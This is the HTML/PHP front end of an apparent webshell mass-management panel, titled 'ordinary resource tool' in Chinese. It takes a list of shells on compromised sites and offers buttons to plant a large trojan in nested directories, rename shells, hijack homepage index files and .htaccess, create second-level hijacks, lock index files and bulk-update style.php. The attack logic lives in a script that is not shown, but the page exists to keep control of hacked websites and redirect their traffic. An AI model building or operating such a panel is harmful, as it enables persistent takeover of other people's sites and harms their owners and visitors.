<!doctype html>
<html>
<head>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>普通资源工具</title>
    <link rel="shortcut icon" href="/static/favicon.ico"/>
    <script type="text/javascript" src="/static/js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">var host = "<?php echo $host; ?>";</script>
    <script type="text/javascript" src="/static/js/api.js?v=<?php echo $v;?>"></script>
</head>

<body>
<div style="width:100%;">
    <div style="float:left;">
        <h1>shell列表</h1>
        <textarea id="domains" name="domain" style="width:600px;height:600px"></textarea>
    </div>

    <div style="float:left;margin-left:10px;margin-right:10px">
        <div style="float:left">
            <h1>功能按钮</h1>
            <fieldset style=''>
                <legend>备马</legend>
                <div style="margin-top:10px">
                    选择存放目录级:
                    <select id="beima_level">
                        <option value="1">1级目录</option>
                        <option value="2">2级目录</option>
                        <option value="3">3级目录</option>
                        <option value="4">4级目录</option>
                        <option value="5" selected>5级目录</option>
                        <option value="6">6级目录</option>
                        <option value="7">7级目录</option>
                    </select>
                </div>
                <div style="margin-top:10px">
                    选择马文件:
                    <input type="file" name="beian_file" value="选择" id="beian_file">
                </div>
                <div style="margin-top:10px">
                    大马名字:<input type="text" value="" id="beima_name">
                </div>
                <div>
                    <input type="button" class="btn" value="提交" onclick="goBeima()">
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>shell重命名</legend>
                <div style="margin-top:20px">
                    shell文件名:<input type="text" value="" id="rename"/>
                </div>
                <div style="margin-top:20px">
                    <input type="button" class="btn" value="shell重命名" onclick="goRename()">
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>首页index劫持</legend>
                <div style="margin-top:10px">
                    劫持文件:<input type="file" name="index_file" value="选择" id="index_file"/>
                </div>
                <div style="margin-top:10px">
                    <input type="button" class="btn" value="首页index劫持" onclick="goIndex()"/>
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>二级劫持</legend>
                <div style="margin-top:10px">
                    选择劫持文件:
                    <input type="file" name="sub_file" value="选择二级劫持文件" id="sub_file"/>
                </div>
                <div style="margin-top:10px">
                    <input type="button" class="btn" value="生成二级劫持" onclick="goSub()"/>
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>生成并执行index锁定文件</legend>
                <div style="margin-top:10px">
                    选择锁定文件:
                    <input type="file" name="lock_file" value="选择锁定文件" id="lock_file"/>
                </div>
                <div style="margin-top:10px">
                    <input type="button" class="btn" value="生成和执行锁定文件" onclick="goLockIndex()"/>
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>.htaccess劫持</legend>
                <div style="margin-top:10px">
                    选择.htaccess文件:
                    <input type="file" name="sub_file" value="选择.htaccess文件" id="hta_file"/>
                </div>
                <div style="margin-top:10px">
                    <input type="button" class="btn" value="生成.h劫持" onclick="goHtaccess()"/>
                </div>
            </fieldset>

            <fieldset style=''>
                <legend>批量更新style.php</legend>
                <div style="margin-top:10px">
                    <input type="button" class="btn" value="开始更新" onclick="goStyle()"/>
                </div>
            </fieldset>

        </div>
    </div>
</div>

<div style="float:left;">
    <h1>提示信息</h1>
    <textarea id="domains_res" name="domains_res" style="width:700px;height:700px"></textarea>
</div>
</div>
</body>
</html>